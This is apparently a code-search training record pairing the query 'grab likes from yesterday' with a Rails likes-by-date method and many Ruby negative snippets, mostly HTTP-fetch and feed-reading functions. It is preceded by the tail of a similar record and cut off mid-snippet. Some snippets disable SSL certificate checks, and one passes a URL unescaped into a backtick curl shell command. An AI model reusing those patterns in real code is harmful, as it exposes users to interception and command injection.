"def fetch(url, headers={})\n @url_cache ||= Hash.new\n return @url_cache[url] if @url_cache.has_key?(url)\n\n uri = URI.parse(url)\n\n path = uri.path == \"\" ? \"/\" : uri.path\n\n req = Net::HTTP::Get.new(path)\n res = Net::HTTP.start(uri.host, uri.port) {|http|\n http.request(req)\n }\n\n @url_cache[url] = res\n \n return res\n end",
"def get(url); end",
"def http_fetch(url)\n uri = URI.parse url\n http = Net::HTTP.new(uri.host, uri.port)\n\n # Unfortunately the net/http(s) API can't seem to do this for us,\n # even if we require net/https from the beginning (ruby 1.8)\n if uri.scheme == \"https\"\n require 'net/https'\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n\n res = http.start { |http|\n req = Net::HTTP::Get.new uri.request_uri\n cred = netrc_credentials uri.host\n req.basic_auth *cred if cred\n http.request req\n }\n end",
"def download(url)\n Net::HTTP.get_response(url)\n end",
"def read_http(url)\n uri = URI(url)\n Net::HTTP.get_response(uri)\nend",
"def read_http(url)\n uri = URI(url)\n Net::HTTP.get_response(uri)\nend",
"def get(url)\n uri = URI(url)\n Net::HTTP.get(uri)\nend",
"def load_content\n @load ||= open(url).read rescue nil\n end",
"def retrieve(url)\n Hpricot(Net::HTTP.get(URI.parse(url)))\n end",
"def fetch_from_url(url)\n codes = extract_codes(url)\n\n return false if codes.none?\n fetch_from_code(codes.last)\n end",
"def fetch(url, opts)\n headers = {}\n\n if opts.key?(:github_token) and url.start_with?('https://api.github.com/')\n headers['Authorization'] = \"token #{opts[:github_token]}\"\n elsif ENV['GITHUB_TOKEN'] and url.start_with?('https://api.github.com/')\n headers['Authorization'] = \"token #{ENV['GITHUB_TOKEN']}\"\n end\n\n opts[:logger].debug(\"Fetching #{url}\")\n response = Request.run(url, { connecttimeout: 15, headers: headers })\n\n if response.success?\n response.body\n else\n reason = response.timed_out? ? \"Timed out while connecting to #{url}\" : \"Couldn't fetch #{url} (response code #{response.code})\"\n opts[:logger].error(reason)\n raise reason\n end\n end",
"def fetch(url)\n\tputs \"now fetchin \" + url\n\tresponse = \"\"\n\tfilename = \"cache/\" + url.split(\"/\")[-1]\n\t\n\tbegin\n\t#If the file doesn't exist, download it\n\t if ! File.exists?(filename)\n\t open(url) { |f| response = f.read }\n\t File.open(filename, 'w') {|f| f.write(response) }\n # Give the website a break\n sleep(5)\n\t end\n\t \n # Open the saved file eitherway\n open(filename) { |f| response = f.read }\n\t thedoc = Hpricot(response)\n\n\trescue Exception => e\n\t print e, \"\\n\"\n\t debugger\n\tend\n\treturn thedoc\nend",
"def fetch(url)\n begin\n uri = URI.parse(url)\n if !uri.is_a?(URI::HTTP)\n \t return\n end\n\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = (http.port == 443)\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Get.new(uri.request_uri)\n res = http.request(request)\n\n case res\n when Net::HTTPSuccess then\n\t puts \"#{res.code}: #{url}\"\n when Net::HTTPRedirection then\n \t redirect = res['location']\n\t puts \"#{res.code}: #{url}\"\n\t fetch redirect\n else\n\t puts \"#{res.code}: #{url}\"\n end\n rescue\n end\nend",
"def get(url)\n p = URI.parse url\n case p.scheme\n when /https?/\n http_get p, @resource[:path]\n when \"file\"\n FileUtils.copy p.path, @resource[:path]\n end\n end",
"def fetch\n endpoint = URI(uri)\n Net::HTTP.get(endpoint)\n rescue *@errors => e\n pp e\n nil\n end",
"def extract_content\n resp = \"\"\n begin\n resp = Nokogiri::HTML(open(url))\n # do not raise Exception => e\n # https://robots.thoughtbot.com/rescue-standarderror-not-exception\n rescue SocketError, Timeout::Error, Errno::EINVAL, Errno::ECONNRESET, EOFError, Net::HTTPBadResponse, Net::HTTPHeaderSyntaxError, Net::ProtocolError => e\n raise e.message\n end\n resp\n end",
"def fetch(url, options = {})\n @default_options = @options\n @options = @options.merge(options)\n self.class.verify_options(@options)\n\n begin\n if content = @options[('%s_content' % RAILS_ENV).to_sym]\n return content\n end\n\n uri = @options[:radiant_url] + url\n\n if cache_valid?(uri)\n cached(uri)\n else\n content = ''\n\n begin\n Timeout::timeout(@options[:timeout] || 10) do\n read_options = {}\n\n if @options[:username]\n read_options[:http_basic_authentication] = [@options[:username].to_s, @options[:password].to_s]\n end\n\n content = cache_content(uri, URI.parse(uri).read(read_options))\n end\n rescue Exception => e\n logger.error \"Couldn't fetch content from radiant: %s due to error: %s\" % [url, e.message] if logger\n\n if @options[:error_content]\n content = @options[:error_content]\n else\n content = nil\n end\n\n fail if @options[:raise_errors] == true\n end\n \n content\n end\n ensure\n @options = @default_options\n end\n end",
"def fetch\n feed_data = REXML::Document.new(open(@url, :proxy => true)).root\n parse(feed_data)\n end",
"def api_fetch(url)\n JSON.parse(URI.open(url).read)\nend",
"def get(url)\n uri = URI.parse(url)\n http = Net::HTTP.new(uri.host, uri.port)\n\n response = http.get(\"#{uri.path}?auto\")\n\n unless response.code == \"200\"\n puts \"Failed to retrieve #{url}: #{response.code}\"\n exit 3\n end\n\n response.body\nend",
"def fetch\n\t\tbegin\n\t\t\tresponse = RestClient.get(@url,:user_agent => @user_agent.get_user_agent)\n\t\t\tdoc = Nokogiri::HTML(response)\n\t\t\treturn doc\n\t\trescue Exception => e\n\t\t\tLogWriter.error(e)\n\t\t\tthrow e\n\t\tend\n\tend",
"def retrieve_github_files(url)\n\n #create a virtual browser with a Chrome Windows Agent\n agent = Mechanize.new\n agent.user_agent = CHROME_USER_AGENT\n\n #retrieve the page and report if page not found (404)\n begin\n page = agent.get(url)\n rescue Exception => e\n #REPORT THE ERROR\n end\n\n #recursively download all content\n get_files_from_github_page(page)\n\n end",
"def fetch\n def get_response url\n self.status = response = nil\n begin\n uri = URI.parse(url)\n if uri.host &&\n uri.port &&\n (http = Net::HTTP.new(uri.host, uri.port)) &&\n (request = Net::HTTP::Get.new(uri.request_uri))\n response = http.request(request)\n self.status = response.code.to_i\n else # Invalid URL\n self.status = 400\n end\n rescue Exception => e\n # If the server doesn't want to talk, we assume that the URL is okay, at least\n case e\n when Errno::ECONNRESET\n self.status = 401\n else\n self.status = -1 # Undifferentiated error during fetch, possibly a parsing problem\n end\n end\n response\n end\n\n # get_response records the status of the last HTTP access in self.status\n tried = {}\n next_try = url\n until tried[next_try]\n tried[next_try] = true\n response = get_response next_try\n case status\n when 200\n return response.body\n when 301, 302 # Redirection\n next_try = response.header[\"location\"]\n when 401 # Unauthorized\n next_try.sub! /^https/, 'http'\n end\n end\n end",
"def get_file(url); end",
"def fetch(path)\n begin\n (Curl::Easy.perform(base_url + path) do |curl|\n # This configures Curl::Easy to follow redirects\n curl.follow_location = true\n end).body_str\n rescue Curl::Err::HostResolutionError\n Merb.logger.error(\"Could not connect to \" + base_url + path)\n return \"\"\n end\n end",
"def get_url_data(url)\n Nokogiri::HTML(open(url))\n end",
"def get(url)\n\n data = nil\n resp = HTTParty.get(url)\n\n if resp.code == 200\n return resp.body\n end\n end",
"def get_url(url)\n myurl = URI.parse(url)\n req = Net::HTTP::Get.new(url)\n res = Net::HTTP.start(myurl.host, myurl.port) { |http|\n http.request(req)\n }\n \n res.body # return\n end",
"def get(url)\n stdin, stdout, stderr, t = Open3.popen3(curl_get_cmd(url))\n output = encode_utf8(stdout.read).strip\n error = encode_utf8(stderr.read).strip\n if !error.nil? && !error.empty?\n if error.include? \"SSL\"\n raise FaviconParty::Curl::SSLError.new(error)\n elsif error.include? \"Couldn't resolve host\"\n raise FaviconParty::Curl::DNSError.new(error)\n else\n raise FaviconParty::CurlError.new(error)\n end\n end\n output\n end",
"def get_url_data(url)\n Nokogiri::HTML(open(url))\n end",
"def get(url)\n self.class.get(url)\n end",
"def download(url)\n STDERR.print \"loading #{url}\"\n response = Faraday.get(url)\n STDERR.puts ' (done)'\n response.body\n end",
"def fetch\n options = {\n \"url\" => @location\n }\n\n @connector.apply(:get, self, options)\n end",
"def fetch\n response = HTTParty.get(@url)\n if response.success?\n @data = response.parsed_response\n end\n response.code\n end",
"def http_pull(dest_url)\n res = Net::HTTP.get_response(URI.parse(dest_url))\n self.fetched = res.body\n end",
"def fetch\n unless self[\"uri\"].blank?\n uri = URI.parse(self[\"uri\"])\n http = Net::HTTP.new uri.host, uri.port\n response = http.get uri.path, 'User-Agent' => USER_AGENT\n response.code == \"200\" ? response.body : \"\"\n else \"\"\n end\n end",
"def get_file(url)\n get(url).body\n end",
"def open(url)\n Net::HTTP.get(URI.parse(url))\nend",
"def open(url)\n Net::HTTP.get(URI.parse(url))\nend",
"def fetch(url, options={})\n fetcher = Hubberlyzer::Fetcher.new(url, options)\n if url.is_a? Array\n response_body = fetcher.fetch_pages\n else\n response_body = fetcher.fetch_page\n end\n end",
"def read_page(url)\n download(url, Downloader.cookie).read\n end",
"def fetch(url)\n options = {\n :timeout => 10\n }\n begin\n $logger.info(\"Fetching Feed #{url}\")\n feed = Feedjira::Feed.fetch_and_parse(url, options)\n rescue\n # error with Feedjira Feed\n $logger.error \"Fetch failure\"\n return nil\n end\n\n begin\n $logger.info \"Sanitizing\"\n feed.sanitize_entries!\n rescue\n $logger.error \"Problem sanitizing feed from #{url}. proceeding with nil.\" \n return nil\n end\n\n feed\n end",
"def get(url)\n uri = normalize_url(url)\n\n # Ensure the parsed URL is an HTTP one\n raise HTTPError::ClientError.new(\"Invalid URL #{url}\") unless uri.is_a?(URI::HTTP)\n\n req = Net::HTTP::Get.new(uri.request_uri)\n handle_request(uri, req)\n end",
"def fetch\n curl = build_curl_easy\n curl.perform\n feed = process_curl_response(curl)\n Feedtosis::Result.new(curl, feed)\n end",
"def fetch_json_from_url(url_of_search)\n Net::HTTP.get(URI.parse(url_of_search))\n end",
"def swapi_fetch(url)\n JSON.parse(open(url).read)\nend",
"def fetch(options={})\n response = nil\n if fetch_needed? or options[:force]\n begin\n benchmark \"Fetching #{self.url}\" do\n response = open(self.url, read_timeout: CONFIG[:page][:fetch_timeout], allow_redirections: :all)\n self.content_type = response.content_type\n if self.content_type =~ /text/\n doc = Nokogiri::HTML(response)\n self.html = doc.inner_html\n process_html if doc.html?\n end\n end\n rescue StandardError => e\n Rails.logger.warn(\"Error fetching #{self.url}:\\n#{e.inspect}\\n#{e.backtrace.join(\"\\n\")}\")\n self.fetch_error = {exception: e.class.name, message: e.message, backtrace: e.backtrace.join(\"\\n\") }\n ensure\n self.fetched_at = Time.zone.now\n response.try(:close!)\n end\n end\n self\n end",
"def load_from_url!(url)\n uri = URI(url)\n req = Net::HTTP::Get.new(uri)\n req['Accept'] = 'application/json'\n\n res = Net::HTTP.start(uri.hostname, uri.port) do |http|\n http.request(req)\n end\n\n # TODO: handle redirects\n raise IOError, \"Unable to load URL #{url}\" unless res.is_a?(Net::HTTPOK)\n\n load_from_json!(res.body)\n end",
"def get(url)\n private_get(url)\n Fiber.yield\n end",
"def download(url)\n response = client.send(:get, url, {}, 'Content-Type': 'text/html')\n raise ::Errors::BadRequest unless response.success?\n\n response.body\n end",
"def get(url)\n request(:get, url, {}, nil)\n end",
"def get\n @html = Nokogiri::HTML(URI.open(@url))\n\n self\n end",
"def _fetch\n curl @url, '-o', @tarball_path\n end",
"def get(url, headers = {})\n do_request Net::HTTP::Get, url, headers\n end",
"def read\n begin\n Feedjira::Feed.fetch_and_parse(@url)\n rescue\n false\n end\n end",
"def get_response(url)\n uri = URI(url)\n Net::HTTP.start(uri.host, uri.port, use_ssl: uri.scheme == 'https') do |http|\n request = Net::HTTP::Get.new uri\n return http.request(request).body\n end\nend",
"def fetch(path, &block)\n path = path[1..-1] if path[0] == '/'\n path = '/'+ URI.encode_www_form_component(path)\n get(path) do |request, http|\n http.request(request) do |resp|\n case resp\n when Net::HTTPSuccess\n if block_given? then\n resp.read_body(&block)\n else\n resp.read_body do |chunk|\n $stdout.write chunk\n end\n end\n else\n showHttpError(request, resp)\n end\n end\n nil\n end\n end",
"def fetch\n @jobs = fetch_rss(url, Sources::STACKOVERFLOW)\n end",
"def fetch_file(uri)\n res = Net::HTTP.get_response(uri)\n raise \"#{file_url} ended with #{res.code} #{res.message}\" unless res.is_a?(Net::HTTPSuccess)\n\n res.body\n end",
"def async_fetch(url)\n f = Fiber.current\n\n request_options = {\n :timeout => 310, # set request timeout\n :query => {'V' => '3.1', 'User-Agent' => 'Ruby', 'Accept-Encoding' => 'gzip'}, # set request headers\n }\n\n http = EventMachine::HttpRequest.new(url).get request_options\n http.callback { f.resume(http) }\n http.errback { f.resume(http) }\n\n Fiber.yield\n\n if http.error\n p [:HTTP_ERROR, http.error]\n end\n\n http\n end",
"def fetch(&block)\n link = @url\n\n until link.nil?\n document = retrieve(link)\n results = parse(document)\n link = results[:nextpage]\n entries = results[:entries]\n\n yield entries if block_given?\n end\n @results\n end",
"def website_content(url)\r\n # Give the content of the website on the given url\r\n require 'restclient'\r\n Nokogiri::HTML(RestClient.get(url))\r\nend",
"def get(url)\n call(url: url)\n end",
"def http_get(url)\n FaviconParty::HTTPClient.get(url)\n end",
"def fetch(url) \n puts \"Fetching url #{url}\";\n str = `curl -silent \"#{url}\"`\n return str\nend",
"def read_url(url)\n # open(url, 'rb') { |fh| fh.read }\n\n # read contents of URL, force UTF-8 encoding\n open(url, 'rb', encoding: 'UTF-8') { |fh| fh.read }\n end",
"def exec_request\n @urls.map { |url| fetch(url) }\n end",
"def fetch\n @raw_feed = HTTParty.get(@url).response.body unless @raw_feed\n end",
"def fetch(path)\n log.puts(path)\n\n loc = root + path\n\n if @mechanize\n loc = \"file://#{File.expand_path(loc)}\" unless loc =~ %r{^\\w+://}\n\n begin\n page = agent.get(loc)\n rescue Mechanize::ResponseCodeError => e\n raise FetchError.new(\"#{loc} returned a response code of #{e.response_code}\")\n end\n\n log.puts(\"#{loc} redirected to #{page.uri}\".red) unless page.uri.to_s == loc\n\n page.body\n else\n begin\n open(loc).read\n rescue Errno::ENOENT\n raise FetchError.new(\"#{loc} was not found\")\n rescue OpenURI::HTTPError => e\n raise FetchError.new(\"retrieving #{loc} raised an HTTP error: #{e.message}\")\n end\n end\n end",
"def http_get(url)\n Net::HTTP.get_response(URI.parse(url)).body.to_s\n end",
"def download_url(url)\n ethon = ethon_easy_requester\n ethon.url = uri_escape(url)\n ethon.perform\n check_and_raise_failure(ethon)\n {\n file_contents: ethon.response_body,\n link_url: last_location_header(ethon)\n }\n end",
"def get(url, headers={})\n do_request(\"get\", url, nil, headers)\n end",
"def fetch(remote_url, &fetcher)\n entry = entry_for(remote_url)\n if entry.valid?\n entry.document\n else\n entry.document = fetcher.call\n end\n end",
"def fetch(url)\n response = Curl::Easy.http_get(url)\n results = parse_seo(response.body_str)\n results.update({\n :url => url,\n :robots => extract_robots(url),\n :headers => response.headers,\n :cookies => response.cookies,\n :size => response.downloaded_bytes,\n :speed => response.download_speed })\n end",
"def read_url(url, sec = nil, prefix = nil, limit = 10)\n status = :ok\n content = nil\n\n begin\n if sec\n begin\n Timeout::timeout(sec) do\n content = fetch(url, prefix, limit)\n end\n rescue Timeout::Error\n status = :timeout\n content = nil\n end\n else\n content = fetch(url, prefix, limit)\n end\n rescue Exception => e\n status = :error\n content = e\n end\n\n return status,content\nend",
"def get_url\n Nokogiri::HTML(open(@url))\n end",
"def read_url(url)\n\t\tputs \"Wrapper to return the OpenURI object for url: #{url}\" if @verbose\n\t\tbegin\n\t\t\turl_object=open_url(url)\n\t\t\t@visited_urls_by_crawler[url]=true unless @visited_urls_by_crawler.key?(url)\n\t\t\tbody=url_object.read\n\t\t\treturn body\n rescue => ee\n puts \"Exception on method #{__method__}: #{ee}\" if @verbose\n return nil\n end\n\tend",
"def fetch_file_from_url(url)\n logger.debug \"Starting GET of file from #{url}\"\n start_time = Time.now\n uri = URI.parse(url)\n if (uri.kind_of?(URI::HTTP))\n resp = Net::HTTP.get_response(uri)\n case resp\n when Net::HTTPSuccess then\n filename = File.basename(uri.path)\n tmpfile = Tempfile.new(filename,Dir.tmpdir)\n File.open(tmpfile.path,'wb+') do |f|\n f.write resp.body\n end\n tmpfile.flush\n file= ActionDispatch::Http::UploadedFile.new(tempfile: tmpfile)\n file.original_filename = filename\n file.content_type = resp.content_type\n logger.debug \"GET took #{Time.now - start_time} seconds\"\n return file\n else\n logger.error \"Could not get file from location #{url} response is #{resp.code}:#{resp.message}\"\n return nil\n end\n else\n return nil\n end\n rescue URI::InvalidURIError\n logger.error \"Invalid URI #{url}\"\n nil\n rescue => e\n logger.error \"error in fetch_file_from_url #{url}\"\n logger.error e.backtrace.join(\"\\n\")\n nil\n end",
"def get(url)\n # slow down the request rate! otherwise you will get blocked\n sleep 1\n return @agent.get(url)\n end",
"def download(url)\n resp = http.get(url, :follow_redirect => true)\n\n unless resp.ok?\n raise(\n HTTPClient::BadResponseError,\n \"Got HTTP #{resp.status}: #{resp.body}\"\n )\n end\n\n return resp.body.force_encoding('UTF-8')\n end",
"def get_page(url)\n @doc = Nokogiri::HTML(open(url))\n end",
"def get()\n html = html_for(baseurl)\n scrape html, baseurl\n end",
"def get(url, query = nil, headers = nil)\n headers = headers ? @headers.merge(headers) : @headers\n #Log.t(\"GET: #{url}\\n#{query.inspect}\\n#{headers.inspect}\")\n content = @client.get_content(URI.join(@base, url), query, headers) rescue ''\n Nokogiri::HTML(content)\n end",
"def fetch\n puts \"fetching #{@uri.to_s}\".green.on_black\n start_time = Time.now\n begin\n request = Net::HTTP::Get.new(@uri.request_uri)\n request[\"User-Agent\"] = UserAgents.random\n response = @http.request(request) \n end_time = Time.now\n case response\n when Net::HTTPSuccess then\n page = Page.new(@uri, response_code: response.code.to_i,\n response_head: response.instance_variable_get(\"@header\"),\n response_body: response.body,\n response_time: (end_time-start_time).to_f,\n crawled_time: (Time.now.to_f*1000).to_i)\n when Net::HTTPRedirection then\n page = Page.new(@uri, response_code: response.code.to_i,\n response_head: response.instance_variable_get(\"@header\"),\n response_body: response.body,\n response_time: (end_time-start_time).to_f,\n redirect_url: response['location'])\n when Net::HTTPNotFound then\n page = Page.new(@uri, response_code: response.code.to_i,\n response_time: (end_time-start_time).to_f)\n end\n rescue Exception => e\n puts e.inspect\n puts e.backtrace\n end\n end"
] |
[
"0.8186875",
"0.79177684",
"0.79177684",
"0.7831366",
"0.7805613",
"0.7763746",
"0.74626505",
"0.73015654",
"0.72296023",
"0.71729624",
"0.71712685",
"0.71437645",
"0.70839196",
"0.70330566",
"0.7021246",
"0.69590294",
"0.694961",
"0.690498",
"0.69009656",
"0.68478495",
"0.682781",
"0.682781",
"0.68205106",
"0.6817358",
"0.6808244",
"0.6802836",
"0.678742",
"0.6785924",
"0.6766907",
"0.67415357",
"0.67411035",
"0.67243475",
"0.66939193",
"0.66894746",
"0.66747385",
"0.6672998",
"0.66605103",
"0.6651951",
"0.6642386",
"0.6637082",
"0.66246104",
"0.6617025",
"0.6610507",
"0.65929407",
"0.6582962",
"0.6582861",
"0.6575375",
"0.6566584",
"0.65542203",
"0.6531125",
"0.6508145",
"0.65037924",
"0.6483334",
"0.64823496",
"0.64823496",
"0.64783746",
"0.6470455",
"0.64525676",
"0.6435115",
"0.64345336",
"0.6417825",
"0.6417154",
"0.6416327",
"0.6413086",
"0.6408664",
"0.64049053",
"0.6392211",
"0.63851875",
"0.63844615",
"0.6365874",
"0.63639116",
"0.6363187",
"0.63596195",
"0.6354677",
"0.6345471",
"0.63385326",
"0.6338082",
"0.63186616",
"0.631435",
"0.6306098",
"0.6300616",
"0.6298259",
"0.6289306",
"0.628614",
"0.6284925",
"0.62793136",
"0.627253",
"0.62672555",
"0.62667036",
"0.62649107",
"0.62631726",
"0.6258083",
"0.6257674",
"0.62507844",
"0.62463975",
"0.6239989",
"0.62324",
"0.6225382",
"0.622232",
"0.62200606"
] |
0.7677
|
6
|
grab likes from yesterday
|
def todays_likes
dayEnd = DateTime.now.beginning_of_day
dayStart = dayEnd - 1.day
likes.where("likes.created_at > ? and likes.created_at < ?", dayStart, dayEnd)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def previous_tweets\n model.previous_tweets.sort_by(&:created_at)\n end",
"def followers_history; counter_per_day(:followers); end",
"def receive_likers\n media = instagram_service.media_by_shortcode(event.url)\n media_id = media['data']['id']\n likes = instagram_service.media_likes(media_id)\n event.update(likers: likes['data'].collect { |elem| elem['username'] })\n end",
"def liked_tweets\n @tweets = self.likes.map { |like| like.tweet }\n end",
"def RecentActivity\n @followings = Follwing.where(:kite_id => kites.select(\"id\"), :Type => \"like\").order(\"created_at DESC\").take(5)\n @comments = Comment.where(:kite_id => kites.select(\"id\")).order(\"created_at DESC\").take(5)\n return (@followings + @comments).sort_by(&:created_at)\n end",
"def recent_tweets\n @_recent_tweets ||= timeline.each_with_object([]) do |tweet, memo|\n age_of_tweet_in_days = (Time.now.to_date - tweet.created_at.to_date).to_i\n memo << tweet if age_of_tweet_in_days <= 7\n end\n end",
"def get_recent_dub_list\n #to be scraped\n @asc_date_list = CliDub::User.get_recent_dub_list\n end",
"def yesterday_pomodoros\n storage.find_all_day_before(Pomodoro, Time.now)\n end",
"def frontpage_items\n likes = self.likes\n recent = Item.order(\"created_at DESC\")\n\n items = []\n likes.each do |like|\n like.similar(5).each do |item|\n if !item.user_voted? self\n items.push item\n end\n end\n end\n\n items = items.sort {|a,b| b.created_at <=> a.created_at }\n\n if items.count < 25\n items = items.concat(Item.order(\"created_at DESC\").limit(25-items.count()))\n end\n\n return items\n end",
"def fetch_facebook_likes(facebook_user)\n facebook_user.likes.each do |friend_like|\n movie = Movie.find_by_fbpage_id(friend_like.id.to_s)\n if movie && movie.facebook_feeds.friend_likes.by_fb_item_id(friend_like.id.to_s).by_fbid(facebook_user.id.to_s).blank?\n post = FacebookFeed.create!(:feed_type => 'friend_likes', :movie_id => movie.id, :value => friend_like.name, :fbid => facebook_user.id, :fb_item_id => friend_like.id, :posted_on => friend_like.created_time.to_date, :facebook_name => facebook_user.name)\n Activity.create_log_for_each_friend(post, movie, 'liked', facebook_user.id.to_s, facebook_user.name)\n end\n end\n end",
"def likes\n\t\t@likes ||= fetch_likes\n\tend",
"def yesterday\n advance(days: -1)\n end",
"def request_history(timestamp=1.day.ago)\n @ws.send({request: \"history\", timestamp: timestamp}.to_json)\n end",
"def show_recent_posts(keyword, hours = 4)\n\tclient = Twitter::REST::Client.new(TWITTER)\n\tputs past = Time.now - (60*60*hours)\n\ttweets = Array.new\n\tclient.search(keyword).each do |tweet|\n\t\tif tweet.created_at >= past\n\t\t\tp tweet.created_at.class.name\n\t\t\ttweets.push timestamp: tweet.created_at, retweet_count: tweet.retweet_count, favorite_count: tweet.favorite_count, url: tweet.uri.to_s, text: tweet.text\n\t\telse\n\t\t\treturn tweets\n\t\tend\n\tend\nend",
"def getClientLikes()\n\t\tmy_likes = Array.new\n\t\tcleaned_up = Array.new\n\t\tlikes = $client.likes :limit => 20\n\t\tlikes[\"liked_posts\"].each do |like|\n\t\t\tif(like[\"type\"] === \"quote\" || like[\"type\" === \"text\"])\n\t\t\t\tmy_likes.push(like[\"text\"])\n\t\t\tend\n\t\tend\n\t\tmy_likes\n\tend",
"def update_published_at\n update_attribute :published_at, Time.now if total_likes == MIN_LIKES\n end",
"def index\n # start_day = DateTime.now.prev_month\n # populars = Like.where(\"created_at > ?\", start_day).group(:feed_id).order(\"count_feed_id desc\").count(:feed_id)\n \n search_start_time = (DateTime.now - 1).utc\n populars = Like.where(\"created_at > ?\", search_start_time).group(:feed_id).order(\"count_feed_id desc\").count(:feed_id)\n \n feed_ids = populars.keys\n # @populars = Feed.find(feed_ids)\n @populars = Feed.where(id: feed_ids).where(\"created_at > ?\", search_start_time)\n end",
"def like_by user\n likers << user && change_like_count(1)\n end",
"def timeline\n tweets = []\n following.merge(my_info).each do |nick,url|\n tweets.concat timeline_for_user(nick,url)\n end\n tweeets = tweets[-timeline_limit, timeline_limit].sort_by { |h| h[:date] }\n (timeline_sort == 'descending') ? tweets.reverse : tweets\nend",
"def get_votes_history\n response = Array.new\n resp = AWS_DYNAMO.query({\n table_name: AWS_DYNAMO_VOTES_BY_USER_TBL,\n limit: 100,\n scan_index_forward: \"false\",\n key_conditions: {\n \"user_id\" => {\n attribute_value_list: [id],\n comparison_operator: \"EQ\"\n },\n }\n })\n\n resp.items.each do |vote_entry|\n REDIS_USER_VOTES.sadd(\"user-voted:#{uid}\", vote_entry[\"question_id\"])\n response << vote_entry\n end\n response\n end",
"def favourite_tweets_since id\n twitter_client.favorites since_id: id.to_s\n end",
"def likes\n @likes ||= raw[\"tumblr\"][\"posts\"][\"post\"].collect do |raw_like|\n if raw_like[\"type\"] == \"regular\"\n title = raw_like[\"regular_title\"]\n body = raw_like[\"regular_body\"]\n type = \"text\"\n photo_url = nil\n elsif raw_like[\"type\"] == \"quote\"\n title = raw_like[\"quote_text\"]\n body = raw_like[\"quote_source\"]\n type = \"text\"\n photo_url = nil\n elsif raw_like[\"type\"] == \"photo\"\n title = raw_like[\"photo_caption\"]\n body = raw_like[\"photo_caption\"]\n type = \"photo\"\n photo_url = raw_like[\"photo_url\"].last\n elsif raw_like[\"type\"] == \"link\"\n title = raw_like[\"link_text\"]\n body = raw_like[\"link_description\"]\n type = \"text\"\n photo_url = nil\n elsif raw_like[\"type\"] == \"conversation\"\n title = raw_like[\"conversation_title\"]\n body = raw_like[\"conversation_text\"]\n type = \"text\"\n photo_url = nil\n elsif raw_like[\"type\"] == \"video\"\n title = raw_like[\"video_caption\"]\n body = raw_like[\"video_player\"]\n type = \"video\"\n photo_url = nil\n elsif raw_like[\"type\"] == \"audio\"\n title = raw_like[\"audio_caption\"]\n body = raw_like[\"audio_player\"]\n type = \"audio\"\n photo_url = nil\n end\n\n Butterfly::Like.new({\n :service => \"tumblr\",\n :id => raw_like[\"id\"],\n :title => title,\n :description => body,\n :created_at => Time.at(raw_like[\"unix_timestamp\"].to_i),\n :liked_at => nil,\n :tags => raw_like[\"tag\"],\n :photo_url => photo_url,\n :url => raw_like[\"url_with_slug\"],\n :type => type,\n :user => Butterfly::User.new({\n :id => raw_like[\"tumblelog\"],\n :username => raw_like[\"tumblelog\"],\n :name => raw_like[\"tumblelog\"],\n :service_url => \"#{raw_like[\"tumblelog\"]}.tumblr.com\",\n :photo_url => nil,\n :website_url => nil,\n :location => nil,\n })\n })\n end\n end",
"def liked_tweets\n Like.all.select { |l| l.user == self }.map { |l| l.tweet }\n end",
"def recent_tweets(count)\n start(\"/recent/tweets/#{count}\")\n end",
"def movies_liked\n REDIS.smembers movies_liked_key\n end",
"def previous days_ago=0\n Inventory.where(product: product, store: store).where(\"lcbo_updated_on < ?\", (lcbo_updated_on - days_ago)).order(lcbo_updated_on: :desc).first\n end",
"def liked_users \n users = object.liked_users.collect do |liked_user|\n # user = User.find_by(id: liked_user.liked_user_id)\n # user.attributes.except!(\"created_at\", :updated_at, :email)\n user = User.select(:id, :name, :gender, :age, :bio).find_by(id: liked_user.liked_user_id)\n end\n end",
"def like_hello\n @client.search(\"#{@hashtbonjour}\", result_type: \"recent\").take(25).collect do |tweet|\n @client.favorite(tweet)\n end\n end",
"def likes\n likes_response = client.get(\"/venues/#{id}/likes\")[\"response\"]\n @likes = {}\n if likes_response[\"likes\"]\n @likes.merge!(likes_response[\"likes\"])\n if @likes[\"groups\"]\n @likes[\"groups\"].each do |group|\n group[\"items\"].map!{|item| Foursquared::Response::User.new(client, item)}\n end\n end\n end\n @likes\n end",
"def like_follow_live\n login_streaming\n @client_stream.filter(:track => \"#{@hashtbonjour}\") do |tweet|\n @client.favorite!(tweet)\n @client.follow(tweet.user)\n end\n end",
"def yesterday\n self.ago(1.day)\n end",
"def previous_visits\n user.visits.where('entry_date <= ? and id <> ?', entry_date, id)\n end",
"def tweets_since(datetime)\n\t\t# Cache the the call for an hour to save time on regular useage.\n\t\tAPICache.get(\"tweets_since_for#{ self.handle }\", { cache: 3600, timeout: 10 }) do\n\t \ttweets = []\n\t\t\toptions = {count: 50, include_rts: false, exclude_replies: true}\n\t\t\t$twitter.user_timeline(self.handle, options).each do |t|\n\t\t\t\tif t.created_at > datetime\n\t\t\t\t\ttweets << t\n\t\t\t\tend\n\t\t\tend\n\t\t\ttweets\n\t\tend\n\tend",
"def in_hot_list\n where(:added_to_hot_list.gte => 4.days.ago.utc)\n end",
"def feed_after(latest_update) \n\tif latest_update.present? \n\t\tself.feed.where(\"microposts.updated_at > ?\", latest_update)\n\tend\n end",
"def likes(user_id)\n from_instagram = retrieve_last_10_photos(user_id)\n\n all_likes = from_instagram[\"data\"].map do |datum|\n datum[\"likes\"][\"count\"]\n end\n\n all_likes = all_likes.reduce(:+)\n\n return all_likes\n end",
"def tweak_occurred_at\n self.occurred_at = created_at if occurred_at.to_date < Date.yesterday\n end",
"def last_checkins(response)\n user = response.matches.first.first || response.user.name\n\n if redis.sismember('users', user)\n log.debug(\"#{user} looks like an Untappd user\")\n untappd_user = user\n else\n # look up the Untappd user for this chat user\n log.debug(\"#{user} looks like it may be a chat user\")\n chat_user = User.fuzzy_find(user)\n\n unless chat_user\n response.reply_with_mention(\"I don't know anyone by that name\")\n return\n end\n\n untappd_user = redis.get(\"username_#{chat_user.id}\")\n end\n\n # Get the last three or today's checkins, whichever is more\n log.info(\"Getting last few beers for Untappd user #{untappd_user}\")\n checkins = ::Untappd::User.feed(untappd_user).checkins.items\n last_24_hour_checkins = checkins.find_all do |checkin|\n Time.parse(checkin.created_at) > (Time.now - (60 * 60 * 24))\n end\n\n if last_24_hour_checkins.length >= 3\n checkins = last_24_hour_checkins\n else\n checkins = checkins.take 3\n end\n\n log.debug(\"Got #{checkins.length} checkins for #{untappd_user}\")\n\n # accounce last beers\n beers = []\n checkins.each do |checkin|\n beers << 